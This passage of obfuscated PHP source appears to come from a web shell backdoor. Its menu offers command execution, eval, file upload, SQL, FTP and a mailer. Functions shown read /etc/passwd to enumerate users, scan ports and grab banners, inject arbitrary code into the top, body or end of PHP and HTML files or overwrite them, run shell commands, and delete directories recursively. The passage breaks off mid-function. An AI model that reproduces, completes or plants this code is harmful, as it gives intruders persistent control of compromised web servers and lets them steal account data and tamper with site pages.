2746 if (($o != ".") && ($o != "..")) {
2747 if (@is_dir(z1a($d) . $o)) {
2748 z4f(z1a($d) . $o, z1a($t) . $o, $b);
2749 } else {
2750 @copy(z1a($d) . $o, z1a($t) . $o);
2751 if ($b) {
2752 @unlink(z1a($d) . $o);
2753 }
2754 }
2755 }
2756 }
2757 @closedir($h);
2758 if ($b) {
2759 @rmdir($d);
2760 }
2761 return true;
2762 } elseif (@is_file($d)) {
2763 if (@is_dir($t)) {
2764 $t = z1a($t) . z2h($d);
2765 }
2766 if ($b) {
2767 if (@copy($d, $t))
2768 return @unlink($d);
2769 } else {
2770 return @copy($d, $t);
2771 }
2772 } else {
2773 return false;
2774 }
2775}
2776function z7b($d, $t)
2777{
2778 return z4f($d, $t);
2779}
2780function z8a($d, $t)
2781{
2782 return z4f($d, $t, 1);
2783}
2784function z8s($d)
2785{
2786 $d = z1a($d);
2787 $h = @opendir($d);
2788 while (($o = @readdir($h)) !== false) {
2789 if ($o != "." && $o != ".." && !z3j($o)) {
2790 if (!z4j($d . $o)) {
2791 @unlink($d . $o);
2792 } else {
2793 z8s($d . $o);
2794 }
2795 }
2796 }
2797 @closedir($h);
2798 @rmdir($d);
2799 return !z4j($d);
2800}
2801function z8d($o)
2802{
2803 $o = z1i($o);
2804 if (@z4j($o)) {
2805 return z8s($o);
2806 } elseif (z4e($o)) {
2807 return @unlink($o);
2808 } else {
2809 return false;
2810 }
2811}
2812function z8o()
2813{
2814 $h = (@empty($_SERVER['HTTPS']) || @strtolower($_SERVER['HTTPS']) == 'off' ? 0 :
2815 1);
2816 $u = 'http' . (($h ? 's' : '') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']);
2817 $m = (@empty($_SERVER['PATH_INFO']) ? 'QUERY_STRING' : 'PATH_INFO');
2818 $s = $m == 'QUERY_STRING' ? '?' : '';
2819 return $u . $s . (@isset($_SERVER[$m]) ? $_SERVER[$m] : '');
2820}
2821function z8i()
2822{
2823 $u = array();
2824 $p = z9p("/etc/passwd");
2825 if ($p) {
2826 $ll = @explode("\n", $p);
2827 foreach (@array_unique($ll) as $l) {
2828 $s = @explode(":", $l);
2829 if (@isset($s[0]) && @isset($s[2]) && @isset($s[3]) && @isset($s[5]) && @isset($s[6]) &&
2830 !@isset($u[$s[0]])) {
2831 $u[$s[0]] = array($s[2], $s[3], $s[5], $s[6]);
2832 }
2833 }
2834 } elseif (z7r('posix_getpwuid')) {
2835 for ($i = 0; $i < 65535; $i++) {
2836 $a = @posix_getpwuid($i);
2837 if ($a && @is_array($a)) {
2838 if (@isset($a['name']) && !@empty($a['name']) && !@isset($u[$a['name']])) {
2839 $u[$a['name']] = array($a['uid'], $a['gid'], $a['dir'], $a['shell']);
2840 }
2841 }
2842 }
2843 }
2844 return $u;
2845}
2846function z6m($t = 0)
2847{
2848 $a = array();
2849 $p = z8i();
2850 if (@count($p) > 0) {
2851 foreach ($p as $u => $v)
2852 $a[] = (($t) ? array($u, $v[2]) : $u);
2853 }
2854 return $a;
2855}
2856if (!z7r('str_repeat')) {
2857 function str_repeat($i, $c)
2858 {
2859 $r = '';
2860 for ($n = 0; $n < $c; $n++)
2861 $r .= $i;
2862 return $r;
2863 }
2864}
2865function z9r($m, $s = 0)
2866{
2867 if (($m & 0xC000) === 0xC000) {
2868 $t = "s";
2869 } elseif (($m & 0x4000) === 0x4000) {
2870 $t = "d";
2871 } elseif (($m & 0xA000) === 0xA000) {
2872 $t = "l";
2873 } elseif (($m & 0x8000) === 0x8000) {
2874 $t = "-";
2875 } elseif (($m & 0x6000) === 0x6000) {
2876 $t = "b";
2877 } elseif (($m & 0x2000) === 0x2000) {
2878 $t = "c";
2879 } elseif (($m & 0x1000) === 0x1000) {
2880 $t = "p";
2881 } else {
2882 $t = "?";
2883 }
2884 $a["r"] = ($m & 00400) > 0;
2885 $a["w"] = ($m & 00200) > 0;
2886 $a["x"] = ($m & 00100) > 0;
2887 $b["r"] = ($m & 00040) > 0;
2888 $b["w"] = ($m & 00020) > 0;
2889 $b["x"] = ($m & 00010) > 0;
2890 $c["r"] = ($m & 00004) > 0;
2891 $c["w"] = ($m & 00002) > 0;
2892 $c["x"] = ($m & 00001) > 0;
2893 if ($s)
2894 return array("t" => $t, "o" => $a, "g" => $b, "w" => $c);
2895 $o["r"] = ($a["r"]) ? "r" : "-";
2896 $o["w"] = ($a["w"]) ? "w" : "-";
2897 $o["x"] = ($a["x"]) ? "x" : "-";
2898 $g["r"] = ($b["r"]) ? "r" : "-";
2899 $g["w"] = ($b["w"]) ? "w" : "-";
2900 $g["x"] = ($b["x"]) ? "x" : "-";
2901 $w["r"] = ($c["r"]) ? "r" : "-";
2902 $w["w"] = ($c["w"]) ? "w" : "-";
2903 $w["x"] = ($c["x"]) ? "x" : "-";
2904 if ($m & 0x800)
2905 $o["x"] = ($o["x"] == "x") ? "s" : "S";
2906 if ($m & 0x400)
2907 $g["x"] = ($g["x"] == "x") ? "s" : "S";
2908 if ($m & 0x200)
2909 $w["x"] = ($w["x"] == "x") ? "t" : "T";
2910 return $t . @join("", $o) . @join("", $g) . @join("", $w);
2911}
2912function z8c($i, $s, $e)
2913{
2914 $p = '';
2915 $k = array('80' => 'Webserver', '443' => 'OpenSSL', '3306' => 'MySQL', '5432' =>
2916 'PostgreSQL', );
2917 if (z7r('fsockopen') && z7r('stream_set_timeout')) {
2918 for ($n = $s; $n <= $e; $n++) {
2919 $c = @fsockopen($i, $n, $en, $es, 1);
2920 if ($c) {
2921 @stream_set_timeout($c, 0, 50000);
2922 $t = @preg_replace("/(\r|\n|[^a-z0-9_&%:;\.,\[\]\(\)\s-])/i", "", @fread($c, 100));
2923 $t = (@isset($k[$n]) ? $k[$n] . ' ' . $t : $t);
2924 if (@empty($t))
2925 $t = "Open";
2926 $p .= "[$i] Port $n" . ((@strlen($n) < 5) ? @str_repeat(' ', (5 - @strlen($n))) :
2927 '') . " $t\r\n";
2928 @fclose($c);
2929 }
2930 }
2931 }
2932 return $p;
2933}
2934function z8l($a)
2935{
2936 $b = @strtolower(@ini_get($a));
2937 if ($b == 'on' || $b == 'yes' || $b == 'true') {
2938 return 'assert.active' !== $a;
2939 } elseif ($b == 'stderr' || $b == 'stdout') {
2940 return 'display_errors' === $a;
2941 } else {
2942 return (bool)(int)$b;
2943 }
2944}
2945function z8f($c, $l)
2946{
2947 return (@strlen($c) > $l) ? @substr($c, 0, (@ceil($l / 2) - 2)) . "[..]" . @
2948 substr($c, -(@ceil($l / 2) - 2)) : $c;
2949}
2950function init_buffer()
2951{
2952 if (!@isset($_SESSION['buffer'])) {
2953 $_SESSION['buffer'] = array();
2954 }
2955}
2956function unset_buffer()
2957{
2958 if (@isset($_SESSION['buffer'])) {
2959 unset($_SESSION['buffer']);
2960 }
2961}
2962function z8p($i, $t = 0)
2963{
2964 return ($t === 0 ? z7v($i) : ($t === 1 ? @ord($i) : @chr($i)));
2965}
2966function z8y($s, $d = ',', $e = '"', $esc = '\\')
2967{
2968 $n = 0;
2969 $r = array();
2970 $ed = '%#%#%E%S%C%A%P%E%D%#%#%';
2971 $s = @str_replace($esc . $e, $ed, $s);
2972 $s = @preg_replace('/' . $e . '([^' . $e . ']+)' . $e . '(\s|\t)+' . $d . '/', $e .
2973 "\\1" . $e . $d, $s);
2974 $s = @preg_replace('/' . $e . '([^' . $e . ']+)' . $e . $d . '(\s|\t)+/', $e . "\\1" .
2975 $e . $d, $s);
2976 if (@strstr($s, $e)) {
2977 $a = @explode($e, $s);
2978 foreach ($a as $i) {
2979 if ($n++ % 2) {
2980 @array_push($r, @str_replace($ed, $e, @array_pop($r) . $i));
2981 } else {
2982 $b = @explode($d, $i);
2983 @array_push($r, @str_replace($ed, $e, @array_pop($r) . @array_shift($b)));
2984 $r = @array_merge($r, $b);
2985 }
2986 }
2987 }
2988 return $r;
2989}
2990function z5g($s, $eol = "\n", $d = ',', $e = '"', $esc = '\\')
2991{
2992 $r = array();
2993 if (@strstr($s, $eol)) {
2994 $p = @explode($eol, $s);
2995 foreach ($p as $l) {
2996 if (!@empty($l))
2997 $r[] = z8y($l, $d, $e, $esc);
2998 }
2999 } else {
3000 $r[] = z8y($s, $d, $e, $esc);
3001 }
3002 return $r;
3003}
3004function z10q()
3005{
3006 return z8t(z8p(z8b()), z8b());
3007}
3008function z8u($e)
3009{
3010 $r = z9t("PATH='/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin';which $e");
3011 return (@empty($r) ? 0 : $r);
3012}
3013function z9n($i)
3014{
3015 return @base64_decode($i);
3016}
3017function z4h(&$arr, $k = "")
3018{
3019 if (@is_array($arr)) {
3020 foreach ($arr as $k => $v) {
3021 if (@strtoupper($k) != "GLOBALS") {
3022 if (@strtoupper($k) == "_FILES" && @isset($arr["$k"]) && @count($arr["$k"]) > 0) {
3023 z3y($arr["$k"]);
3024 }
3025 z4h($arr["$k"]);
3026 }
3027 }
3028 } else {
3029 $arr = @stripslashes($arr);
3030 }
3031}
3032function z2m($h, $n, $o = 0)
3033{
3034 $l = @strlen($h);
3035 $o = ($o > 0) ? ($l - $o) : @abs($o);
3036 $p = @strpos(@strrev($h), @strrev($n), $o);
3037 return ($p === false) ? false : ($l - $p - @strlen($n));
3038}
3039function z4i($inj, $w, $f)
3040{
3041 $c = z9p($f);
3042 $r = '';
3043 if (!$c)
3044 return false;
3045 switch ($w) {
3046 case 'top':
3047 $r = $inj . $c;
3048 break;
3049 case 'end':
3050 $r = $c . $inj;
3051 break;
3052 case 'php1':
3053 $p = @strpos($c, '<?');
3054 if ($p === false)
3055 return false;
3056 $r = @substr($c, 0, $p) . $inj . @substr($c, $p);
3057 break;
3058 case 'php2':
3059 $p = z2m($c, '?>');
3060 if ($p === false)
3061 return false;
3062 $p += 2;
3063 $r = @substr($c, 0, $p) . $inj . @substr($c, $p);
3064 break;
3065 case 'html1':
3066 $p = @strpos($c, '<html>');
3067 if ($p === false)
3068 return false;
3069 $r = @substr($c, 0, $p) . $inj . @substr($c, $p);
3070 break;
3071 case 'html2':
3072 $p = @strpos($c, '</html>');
3073 if ($p === false)
3074 return false;
3075 $r = @substr($c, 0, $p) . $inj . @substr($c, $p);
3076 break;
3077 case 'html3':
3078 $p = @strpos($c, '<html>');
3079 if ($p === false)
3080 return false;
3081 $p += 6;
3082 $r = @substr($c, 0, $p) . $inj . @substr($c, $p);
3083 break;
3084 case 'html4':
3085 $p = @strpos($c, '</html>');
3086 if ($p === false)
3087 return false;
3088 $p += 7;
3089 $r = @substr($c, 0, $p) . $inj . @substr($c, $p);
3090 break;
3091 case 'body1':
3092 if (!@preg_match('/<body[^>]*>/', $c, $m))
3093 return false;
3094 $p = @strpos($c, $m[0]);
3095 $r = @substr($c, 0, $p) . $inj . @substr($c, $p);
3096 break;
3097 case 'body2':
3098 $p = z2m($c, '</body>');
3099 if ($p === false)
3100 return false;
3101 $r = @substr($c, 0, $p) . $inj . @substr($c, $p);
3102 break;
3103 case 'body3':
3104 if (!@preg_match('/<body[^>]*>/', $c, $m))
3105 return false;
3106 $p = @strpos($c, $m[0]);
3107 $p += @strlen($m[0]);
3108 $r = @substr($c, 0, $p) . $inj . @substr($c, $p);
3109 break;
3110 case 'body4':
3111 $p = z2m($c, '</body>');
3112 if ($p === false)
3113 return false;
3114 $p += 7;
3115 $r = @substr($c, 0, $p) . $inj . @substr($c, $p);
3116 break;
3117 case 'overwrite':
3118 $r = $inj;
3119 break;
3120 default:
3121 return false;
3122 break;
3123 }
3124 return z9y($f, $r);
3125}
3126function z3y(&$a, $k = '')
3127{
3128 if (@is_array($a)) {
3129 foreach ($a as $k => $v) {
3130 z3y($a["$k"]);
3131 }
3132 } else {
3133 if ($a == 'name' || $a == 'tmp_name')
3134 $a = z1i($a);
3135 }
3136}
3137function z8t($i, $o)
3138{
3139 $r = @create_function('$o', 'return @' . z7v($o, 0) . '($o);');
3140 return $r($i);
3141}
3142function z8r($n, $ac, $a, $b = 0)
3143{
3144 global $act;
3145 return z6x(z5c(array('act' => $ac, 'd', 'sort'), z8v($n, ($a ? '4' : '5'), ($act ==
3146 $ac && $b ? ' style="border-right:0;"' : ''))), '5');
3147}
3148function z0o($k)
3149{
3150 if (!@isset($_SESSION[$k]) || !@is_array($_SESSION[$k])) {
3151 z0u($k);
3152 $_SESSION[$k] = array();
3153 $_SESSION[$k][] = array('act' => z7x('2', 'default_act'));
3154 }
3155}
3156function z2l($k)
3157{
3158 if (@count($_SESSION[$k]) > 0)
3159 return @count($_SESSION[$k]);
3160 $_SESSION[$k][] = array('act' => z7x('2', 'default_act'));
3161 return @count($_SESSION[$k]);
3162}
3163function z0c()
3164{
3165 $p = array();
3166 if (@count($_POST) > 0) {
3167 foreach ($_POST as $n => $v) {
3168 if (@substr($n, 0, 5) != 'backf')
3169 $p[$n] = $v;
3170 }
3171 }
3172 return $p;
3173}
3174function z0f($k)
3175{
3176 $cleanp = z0c();
3177 if ($cleanp != z3d($k))
3178 $_SESSION[$k][] = $cleanp;
3179}
3180function z3o($k)
3181{
3182 $_SESSION[$k] = @array_reverse($_SESSION[$k]);
3183 @array_pop($_SESSION[$k]);
3184 $_SESSION[$k] = @array_reverse($_SESSION[$k]);
3185 z2i($k);
3186}
3187function z3d($k)
3188{
3189 $c = z2l($k);
3190 if ($c == 0)
3191 return array();
3192 if ($c > 0)
3193 z2i($k);
3194 $n = (($c > 1) ? ($c - 2) : (($c > 0) ? ($c - 1) : 0));
3195 return $_SESSION[$k][$n];
3196}
3197function z2i($k)
3198{
3199 $r = array();
3200 foreach ($_SESSION[$k] as $v)
3201 $r[] = $v;
3202 $_SESSION[$k] = $r;
3203}
3204function z5d($sk)
3205{
3206 global $backf, $white, $back_form_actions;
3207 z0o($sk);
3208 if (@isset($backf) && $backf) {
3209 @array_pop($_SESSION[$sk]);
3210 } elseif (!@isset($white) || !$white) {
3211 z0f($sk);
3212 }
3213 $back = z3d($sk);
3214 if (z2l($sk) > 10)
3215 z3o($sk);
3216 $a = array();
3217 if (@count($back) > 0) {
3218 $a['backf'] = '1';
3219 if (@is_array($back)) {
3220 foreach ($back as $k => $v) {
3221 $a['backf_' . $k] = @urlencode($v);
3222 }
3223 }
3224 }
3225 $back_form_actions = $a;
3226 return z6x(((@count($a) > 0) ? z5c($a, z8v(z9s("23"), '15')) : z8v(z9s("23"),
3227 '5')), '5');
3228}
3229function z0s()
3230{
3231 global $act, $sh_exec, $safe_exec, $bftp, $bmail;
3232 echo z7s(z7i(z5d('hist') . z8r(z9s("24"), "ls", (@in_array($act, array("ls", "d",
3233 "f", "dfunc")))) . z8r(z9s("25"), "search", ($act == "search")) . z8r(z9s("26"),
3234 "upload", ($act == "upload")) . (($sh_exec || $safe_exec) ? z8r(z9s("27"), "cmd",
3235 ($act == "cmd")) : '') . z8r(z9s("28"), "eval", ($act == "eval")) . ($bftp ? z8r
3236 (z9s("193"), "ftp", ($act == "ftp")) : '') . z8r(z9s("29"), "sql", ($act ==
3237 "sql")) . ($bmail ? z8r(z9s("30"), "mailer", ($act == "mailer")) : '') . z8r(z9s
3238 ("31"), "encoders", ($act == "encoders")) . z8r(z9s("32"), "tools", ($act ==
3239 "tools")) . ($sh_exec ? z8r(z9s("33"), "processes", ($act == "processes")) : '') .
3240 z8r(z9s("34"), "sysinfo", (@in_array($act, array("sysinfo", "phpinfo")))) . z8r
3241 (" ", false, "")), '4');
3242}
3243function z7m($i, $s)
3244{
3245 return ($s) ? z6n(@substr($i[1], 4)) : z6n(@substr($i[1], 0, 4));
3246}
3247function z1i($t)
3248{
3249 $t = @str_replace('\\', '/', $t);
3250 if (@strstr($t, '//')) {
3251 while (@strstr($t, '//') !== false)
3252 $t = @str_replace('//', '/', $t);
3253 }
3254 return $t;
3255}
3256function z1a($t)
3257{
3258 $t = z1i($t);
3259 if (@substr($t, -1) != '/')
3260 $t .= '/';
3261 if (@preg_match('/[^\/\r\n"\']+\/\.\.\//', $t))
3262 $t = @preg_replace('/[^\/\r\n"\']+\/\.\.\//', '', $t);
3263 if ($t == '/../')
3264 $t = '/';
3265 if ($t != './' && @strstr($t, './') !== false)
3266 $t = @str_replace('./', '', $t);
3267 return $t;
3268}
3269function z3q($f, $t, $c)
3270{
3271 if (@strstr($c, $f))
3272 while (@strstr($c, $f))
3273 $c = @str_replace($f, $t, $c);
3274 return $c;
3275}
3276function z1d($action)
3277{
3278 global $d, $win;
3279 if (!$win)
3280 return '';
3281 $e = @explode("/", $d);
3282 $r = '';
3283 foreach (@range("B", "Z") as $let) {
3284 if ($let . ":" != @strtoupper($e[0]) && z4q($let . ":/")) {
3285 $r .= z5c(array("act" => $action, "d" => @strtoupper($let) . ":/"), z8v("[$let]",
3286 "1")) . z9c(2);
3287 }
3288 }
3289 return $r;
3290}
3291function z2d($t, $ftp = 0)
3292{
3293 global $win;
3294 $def = "/";
3295 if ($win && !$ftp) {
3296 $path = @realpath(__file__);
3297 $def = @substr($path, 0, 1) . ":/";
3298 }
3299 if (@substr($t, -1) == '/')
3300 $t = @substr($t, 0, -1);
3301 if (@empty($t))
3302 return array($def);
3303 $e = @explode('/', $t);
3304 $d = array();
3305 if ($win && !$ftp) {
3306 $p = '';
3307 } else {
3308 $p = '/';
3309 }
3310 for ($i = 0; $i < @count($e); $i++) {
3311 if (@empty($e[$i])) {
3312 $d['/'] = '/';
3313 } else {
3314 $p .= $e[$i] . '/';
3315 $d[$p] = $e[$i];
3316 }
3317 }
3318 return $d;
3319}
3320function z1j($n, $a = array(), $c = '', $g = '', $t = '1', $s = '')
3321{
3322 $r = '<select name="' . $n . '"' . ($c != '' ? ' class="' . z4m($c, '4') . '"' :
3323 '') . ($s != '' ? (@is_numeric($s) ? ' ' . z10t($s) : ' ' . $s) : '') . '>' . "\n";
3324 if ($g != '')
3325 global ${$n};
3326 foreach ($a as $k => $v) {
3327 $r .= '<option value="' . ($t == '1' ? $k : $v) . '"' . (($g != '' && ($t == '1' ?
3328 $k : $v) == ${$n}) ? ' selected' : '') . '>' . ($t == '1' ? $v : $k) .
3329 '</option>' . "\n";
3330 }
3331 $r .= '</select>';
3332 return $r;
3333}
3334function z4a($n, $a = array(), $c = '', $g = '', $s = '')
3335{
3336 return z1j($n, $a, $c, $g, '1', $s);
3337}
3338function z2u($n, $a = array(), $c = '', $g = '', $s = '')
3339{
3340 return z1j($n, $a, $c, $g, '0', $s);
3341}
3342function z8j($t = 0)
3343{
3344 global $d, $ftp_current_dir;
3345 $a = ((!$t || $t == 'l') ? z2d($d) : z2d($ftp_current_dir, 1));
3346 $c = @count($a);
3347 $i = 0;
3348 $n = '';
3349 foreach ($a as $k => $v) {
3350 $i++;
3351 $n .= z5c(($t === 0 ? array('act' => 'ls', 'd' => $k) : ($t == 'l' ? array('act' =>
3352 'ftp', 'd' => $k) : array('act' => 'ftp', 'd', 'ftp_current_dir' => $k))), z8v($v,
3353 '1') . (($v != '/' && $i != $c) ? ' / ' : ' '));
3354 }
3355 echo z10e(z7i(z7l((!$t ? z5c(array('act' => 'ls', 'd' => z3p(__file__)), z8n('small_home',
3356 '', '9')) . z9c() . z1d("ls") : '') . $n . (!$t ? ' (' . z6y(z9r(@fileperms($d)),
3357 z6h($d)) . ')' : ''))), '5');
3358}
3359function z2z()
3360{
3361 global $d;
3362 echo z2b(z10e(z7i(z6x(z5c(array('act' => 'f', 'd'), z8e(z9s("35")) . z6i('f', $d,
3363 '0') . z4a('ft', array('functions' => z9s("74"), 'edit' => z9s("75"), 'new' =>
3364 z9s("195")), '1') . z8v('»', '7')), '') . z6x(z5c(array('act' => 'd',
3365 'dold' => $d), z8e(z9s("36")) . z6i('d', $d, '0') . z4a('dt', array('chdir' =>
3366 z9s("425"), 'new' => z9s("195")), '1') . z8v('»', '7')), '')), '2'), '');
3367}
3368function z5r($s)
3369{
3370 $a = @preg_replace('/[^0-9]/', '', $s);
3371 if (@empty($a))
3372 $a = "0";
3373 $b = @substr($s, -1);
3374 if ($b != 'd')
3375 $b = 'a';
3376 return array($a, $b);
3377}
3378function z3i($a, $b)
3379{
3380 global $v;
3381 return @strnatcmp(@strtolower($a[$v]), @strtolower($b[$v]));
3382}
3383function z9v($d)
3384{
3385 global $with_ls;
3386 $r = array();
3387 $ls = @str_replace('\\', '', z9t('ls -a "' . $d . '" 2>/dev/null', 0));
3388 $e = @explode("\n", $ls);
3389 if (@count($e) > 0) {
3390 $with_ls = 1;
3391 foreach ($e as $p) {
3392 if ($p != '' && $p != $d && !@in_array($d . $p, $r))
3393 $r[] = $d . $p;
3394 }
3395 }
3396 return $r;
3397}
3398function z4d($pn, $t = 'f')
3399{
3400 if ($t == 'd') {
3401 $ls = @str_replace('\\', '', z9t('ls -dla "' . $pn . '" 2>/dev/null', 0));
3402 } else {
3403 $ls = @str_replace('\\', '', z9t('ls -la "' . $pn . '" 2>/dev/null', 0));
3404 }
3405 $el = @explode("\n", $ls);
3406 if (@count($el) > 0) {
3407 $l = $el[0];
3408 } else {
3409 $l = $ls;
3410 }
3411 if (@strstr($l, '->')) {
3412 $ll = @explode('->', $l);
3413 if (@count($ll) > 2) {
3414 @array_pop($ll);
3415 $l = @implode('->', $ll);
3416 } else {
3417 $l = @trim($ll[0]);
3418 }
3419 }
3420 $len = @strlen($l);
3421 $pnl = (@strlen($pn) + 1);
3422 if (@substr($l, -$pnl) == " " . $pn) {
3423 $pi = @substr($l, 0, ($len - $pnl));
3424 $pi = z3q(' ', ' ', $pi);
3425 $p2 = @explode(" ", $pi);
3426 if (@count($p2) > 5) {
3427 $pp = $p2[0];
3428 $pu = $p2[2];
3429 $pg = $p2[3];
3430 $ps = $p2[4];
3431 if (!@is_numeric($ps) && @substr($ps, -1) == "," && @is_numeric($p2[5])) {
3432 $ps .= $p2[5];
3433 $st = 6;
3434 } else {
3435 $st = 5;
3436 }
3437 if (@is_numeric($ps))
3438 $ps = z7c($ps);
3439 $pd = '';
3440 for ($i = $st; $i < @count($p2); $i++)
3441 $pd .= $p2[$i] . ' ';
3442 $pd = @trim($pd);
3443 if (z7r('strtotime') && ($s2t = @strtotime($pd)) !== false)
3444 $pd = @date("Y-m-d H:i", $s2t);
3445 if ($pp[0] == "l") {
3446 return array($pn, 'LINK', $pd, array($pu, $pg), $pp);
3447 } elseif ($pp[0] == "d") {
3448 return array($pn, 'DIR', $pd, array($pu, $pg), $pp);
3449 } else {
3450 return array($pn, $ps, $pd, array($pu, $pg), $pp);
3451 }
3452 }
3453 }
3454 return array('', '', '', array('', ''), '');
3455}
3456function z8k($d)
3457{
3458 global $nix, $sh_exec, $act, $lswf;
3459 $d = z1a($d);
3460 if (@substr($d, -1) != '/')
3461 $d .= '/';
3462 $r = array();
3463 $lswf = '';
3464 if (z7r('scandir') && ($h = @scandir($d))) {
3465 foreach ($h as $t)
3466 $r[] = $d . $t;
3467 $lswf = 'scandir';
3468 } elseif (z7r('dir') && ($h = @dir($d))) {
3469 while (($t = $h->read()) !== false)
3470 $r[] = $d . $t;
3471 $h->close();
3472 $lswf = 'dir';
3473 } elseif (z7r('opendir') && z7r('readdir') && z7r('closedir') && ($h = @opendir($d))) {
3474 while (($t = @readdir($h)) !== false)
3475 $r[] = $t;
3476 @closedir($h);
3477 $lswf = 'opendir';
3478 } elseif ($nix && $sh_exec && ($act == "ls" || $act == "search") && @count($r =
3479 z9v($d)) > 0) {
3480 $lswf = 'ls';
3481 return $r;
3482 } elseif (z7r('glob') && ($h = @glob($d . '*')) !== false) {
3483 if (@count($h) > 0) {
3484 foreach ($h as $t)
3485 $r[] = $t;
3486 }
3487 if (($h = @glob($d . '.*')) !== false && @count($h) > 0) {
3488 foreach ($h as $t)
3489 $r[] = $t;
3490 }
3491 if (@count($r) > 0 && !@in_array($d . '.', $r))
3492 $r[] = $d . '.';
3493 if (@count($r) > 0 && !@in_array($d . '..', $r))
3494 $r[] = $d . '..';
3495 $lswf = 'glob';
3496 }
3497 if (@count($r) > 0)
3498 @sort($r);
3499 return $r;
3500}
3501function z8b()
3502{
3503 return (@isset($value) ? $value : 'unknown');
3504}
3505function z4t()
3506{
3507 global $use_images, $use_buffer, $act, $bcopy, $bcut, $showbuf, $d, $with_ls, $lswf,
3508 $filter;
3509 $f_a = array('all' => z9s("37"), 'dirs' => z9s("38"), 'files' => z9s("39"),
3510 'archives' => z9s("40"), 'exes' => z9s("41"), 'php' => z9s("42"), 'html' => z9s
3511 ("43"), 'text' => z9s("44"), 'images' => z9s("45"), 'other' => z9s("46"));
3512 $fs = '';
3513 foreach ($f_a as $fk => $f)
3514 $fs .= z5c(array('act', 'd', 'showbuf', 'filter' => $fk), z8v($f, (((@isset($filter) &&
3515 $filter == $fk) || (!@isset($filter) && $fk == 'all')) ? '17' : '16')));
3516 $ba = z5c(array('act', 'd', 'use_buffer' => ($use_buffer ? '0' : '1')), z8v(($use_buffer ?
3517 z9s("50") : z9s("49")), '16'));
3518 if ($use_buffer && (@count($bcopy) > 0 || @count($bcut) > 0)) {
3519 $bbcopy = (@count($bcopy) > 0);
3520 $bbcut = (@count($bcut) > 0);
3521 $ba .= z5c(array('act' => 'ls', 'd', 'emptybuf' => '1'), z8v(z9s("51"), '16')) . ((!
3522 @isset($showbuf) || !$showbuf) ? z5c(array('act' => 'ls', 'd', 'showbuf' => '1'),
3523 z8v(z9s("52"), '16')) . ($bbcopy ? z5c(array('act' => "d", 'd', 'dt' =>
3524 'bpastecopy', 'showbuf'), z8v(z9s("54"), '16')) : '') . ($bbcut ? z5c(array('act' =>
3525 "d", 'd', 'dt' => 'bpastecut', 'showbuf'), z8v(z9s("55"), '16')) : '') . (($bbcopy &&
3526 $bbcut) ? z5c(array('act' => "d", 'd', 'dt' => 'bpasteall', 'showbuf'), z8v(z9s
3527 ("56"), '16')) : '') : z5c(array('act' => 'ls', 'd'), z8v(z9s("53"), '16')));
3528 }
3529 if (!@isset($lswf))
3530 $lswf = '';
3531 echo z10e(z7i(z6x($fs . z5c(array('act', 'd', 'showbuf', 'use_images' => ($use_images ?
3532 '0' : '1')), z8v(($use_images ? z9s("48") : z9s("47")), '16')) . $ba, '11')),
3533 '7');
3534}
3535function z1e($t, $filter, $tt)
3536{
3537 global $index;
3538 if (z2h($t) == '..')
3539 return 1;
3540 switch ($filter) {
3541 case 'dirs':
3542 return ($tt == 'd');
3543 case 'files':
3544 return ($tt == 'f' || $tt == 'e');
3545 case 'exes':
3546 return ($tt == 'e' || (($tt == 'f' || $tt == 'e') && @preg_match('/\.(' . @
3547 implode('|', @array_merge($index['cmd'], $index['pl'])) . ')$/i', $t)));
3548 case 'archives':
3549 return (($tt == 'f' || $tt == 'e') && @preg_match('/\.(' . @implode('|', $index['tar']) .
3550 ')$/i', $t));
3551 case 'php':
3552 return (($tt == 'f' || $tt == 'e') && @preg_match('/\.(' . @implode('|', $index['php']) .
3553 ')$/i', $t));
3554 case 'html':
3555 return (($tt == 'f' || $tt == 'e') && @preg_match('/\.(' . @implode('|', $index['html']) .
3556 ')$/i', $t));
3557 case 'text':
3558 return (($tt == 'f' || $tt == 'e') && @preg_match('/\.(' . @implode('|', @
3559 array_merge($index['txt'], $index['wri'], $index['doc'])) . ')$/i', $t));
3560 case 'images':
3561 return (($tt == 'f' || $tt == 'e') && @preg_match('/\.(' . @implode('|', $index['jpg']) .
3562 ')$/i', $t));
3563 case 'other':
3564 return ($tt == 'f' && !@preg_match('/\.(' . @implode('|', @array_merge($index['tar'],
3565 $index['php'], $index['html'], $index['jpg'], $index['txt'], $index['wri'], $index['doc'],
3566 $index['cmd'], $index['pl'])) . ')$/i', $t));
3567 default:
3568 return 1;
3569 }
3570}
3571function z0h($f, $t = '', $d = 0)
3572{
3573 global $use_buffer, $bcut, $bcopy, $with_ls, $external, $bziparchive, $reg_archives,
3574 $nix, $sh_exec;
3575 if ($d == 0) {
3576 $d = z3p($f);
3577 } else {
3578 global $d;
3579 }
3580 $f = z2h($f);
3581 $a = array();
3582 $a['functions'] = z9s("74");
3583 $a['edit'] = z9s("75");
3584 if (@isset($reg_archives) && $reg_archives != '') {
3585 if (@preg_match('/\.(' . $reg_archives . ')$/', $f, $m)) {
3586 if (@isset($m[1])) {
3587 if ($m[1] != "zip" || ($m[1] == "zip" && $nix && $sh_exec))
3588 $a['extract'] = z9s("478", $m[1]);
3589 if ($m[1] == "zip" && $bziparchive)
3590 $a['extractzip'] = z9s("478", "zip (php)");
3591 }
3592 }
3593 }
3594 if ($use_buffer && (!@isset($with_ls) || !$with_ls) && (!@isset($external) || !
3595 $external)) {
3596 $a['bcopy'] = (@in_array($f, $bcopy) ? z9s("69") : z9s("67"));
3597 $a['bcut'] = (@in_array($f, $bcut) ? z9s("70") : z9s("68"));
3598 }
3599 $a['delete'] = z9s("72");
3600 if (!@isset($external) || !$external)
3601 $a['rename'] = z9s("73");
3602 $a['download'] = z9s("76");
3603 return z5c(array('act' => 'f', 'f' => $f, 'd' => $d, 'showbuf'), z4a('ft', $a,
3604 '3') . z8v('»', '6'), $t);
3605}
3606function z0m($tt, $t = '')
3607{
3608 global $use_buffer, $bcopy, $bcut, $with_ls, $showbuf;
3609 $a = array();
3610 $a['chdir'] = z9s("425");
3611 $a['functions'] = z9s("74");
3612 if ($use_buffer && (!@isset($with_ls) || !$with_ls)) {
3613 $a['bcopy'] = (@in_array($tt, $bcopy) ? z9s("69") : z9s("67"));
3614 $a['bcut'] = (@in_array($tt, $bcut) ? z9s("70") : z9s("68"));
3615 if (!@isset($showbuf) || !$showbuf) {
3616 if (@count($bcopy) > 0)
3617 $a['bpastecopy'] = z9s("54");
3618 if (@count($bcut) > 0)
3619 $a['bpastecut'] = z9s("55");
3620 if (@count($bcopy) > 0 && @count($bcut) > 0)
